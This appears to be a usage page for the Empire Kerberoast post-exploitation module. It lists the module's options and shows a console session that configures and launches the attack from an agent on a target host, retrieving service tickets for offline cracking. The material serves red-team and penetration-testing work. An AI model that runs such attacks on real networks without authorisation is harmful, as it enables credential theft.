Kerberoast - Empire Module


This page contains detailed information about how to use the csharp/SharpSploit.Enumeration/Kerberoast Empire module. For list of all Empire modules, visit the Empire Module Library.

Module Overview

Name: Kerberoast
Module: csharp/SharpSploit.Enumeration/Kerberoast
Source code: empire/server/modules/csharp/SharpSploit.Enumeration.Covenant.yaml#L1305
Language: C#
Needs admin: No
OPSEC safe: No
Background: No

The Kerberoast module performs a "Kerberoast" attack that retrieves crackable service tickets for Domain User's w/ an SPN set.

This module runs in a foreground and is OPSEC unsafe as it writes on the disk and therefore could be detected by AV/EDR running on the target system.

Note that the Kerberoast module does not need administrative privileges to work properly which means that a normal user can run this module.

Required Module Options

This is a list of options that are required by the Kerberoast module:

Agent
Agent to run module on.

DotNetVersion
.NET version to compile against.
Default value: Net35.
Suggested values: Net35, Net40.

HashFormat
Format to output the hashes ("Hashcat" or "John").
Default value: Hashcat.
Suggested values: Hashcat, John.

Usernames
Username(s) to port scan. Comma-delimited username list.
Default value: DOMAIN\username1,DOMAIN\username2.

Kerberoast Example Usage

Here's an example of how to use the Kerberoast module in the Empire client console:

[+] New agent Y4LHEV83 checked in
[*] Sending agent (stage 2) to Y4LHEV83 at 192.168.204.135
(empire usestager/windows/ducky) > usemodule csharp/SharpSploit.Enumeration/Kerberoast

 Author       cobbr_io                                                               
 Background   False                                                                  
 Description  Perform a "Kerberoast" attack that retrieves crackable service tickets 
              for Domain User's w/ an SPN set.                                       
 Language     csharp                                                                 
 Name         csharp/SharpSploit.Enumeration/Kerberoast                              
 NeedsAdmin   False                                                                  
 OpsecSafe    False                                                                  


,Record Options-,-----------------------------------,----------,----------------------------------,
| Name          | Value                             | Required | Description                      |
|---------------|-----------------------------------|----------|----------------------------------|
| Agent         |                                   | True     | Agent to run module on.          |
|---------------|-----------------------------------|----------|----------------------------------|
| DotNetVersion | Net35                             | True     | .NET version to compile against  |
|---------------|-----------------------------------|----------|----------------------------------|
| HashFormat    | Hashcat                           | True     | Format to output the hashes      |
|               |                                   |          | ("Hashcat" or "John").           |
|---------------|-----------------------------------|----------|----------------------------------|
| Usernames     | DOMAIN\username1,DOMAIN\username2 | True     | Username(s) to port scan. Comma- |
|               |                                   |          | delimited username list.         |
'---------------'-----------------------------------'----------'----------------------------------'

(Empire: usemodule/csharp/SharpSploit.Enumeration/Kerberoast) > set Agent Y4LHEV83
[*] Set Agent to Y4LHEV83
(Empire: usemodule/csharp/SharpSploit.Enumeration/Kerberoast) > set DotNetVersion Net35
[*] Set DotNetVersion to Net35
(Empire: usemodule/csharp/SharpSploit.Enumeration/Kerberoast) > set HashFormat Hashcat
[*] Set HashFormat to Hashcat
(Empire: usemodule/csharp/SharpSploit.Enumeration/Kerberoast) > set Usernames DOMAIN\username1,DOMAIN\username2
[*] Set Usernames to DOMAIN\username1,DOMAIN\username2
(Empire: usemodule/csharp/SharpSploit.Enumeration/Kerberoast) > execute
[!] Error: csharpserver plugin not running

Note: This module requires csharpserver plugin to be running on our system. If this plugin is not running, the error message "[!] Error: csharp server plugin not running" is thrown on the console. To fix the error, start the csharpserver plugin and re-run the module:

(Empire: usemodule/csharp/SharpSploit.Enumeration/Kerberoast) > useplugin csharpserver

,Record Options--,----------,----------------------------------,
| Name   | Value | Required | Description                      |
|--------|-------|----------|----------------------------------|
| status | start | True     | Start/stop the Empire C# server. |
'--------'-------'----------'----------------------------------'

(Empire: useplugin/csharpserver) > execute
[*] Starting Empire C# server
(Empire: useplugin/csharpserver) > back
(Empire: usemodule/csharp/SharpSploit.Enumeration/Kerberoast) > execute
[*] Tasked Y4LHEV83 to run Task 1
...

Now wait for the results to come.

Author

  • cobbr_io

References

See Also

Check also the following modules related to this module:

Version

This page has been created based on Empire version 4.1.3 (BC Security Fork).
Visit Empire Module Library for more modules.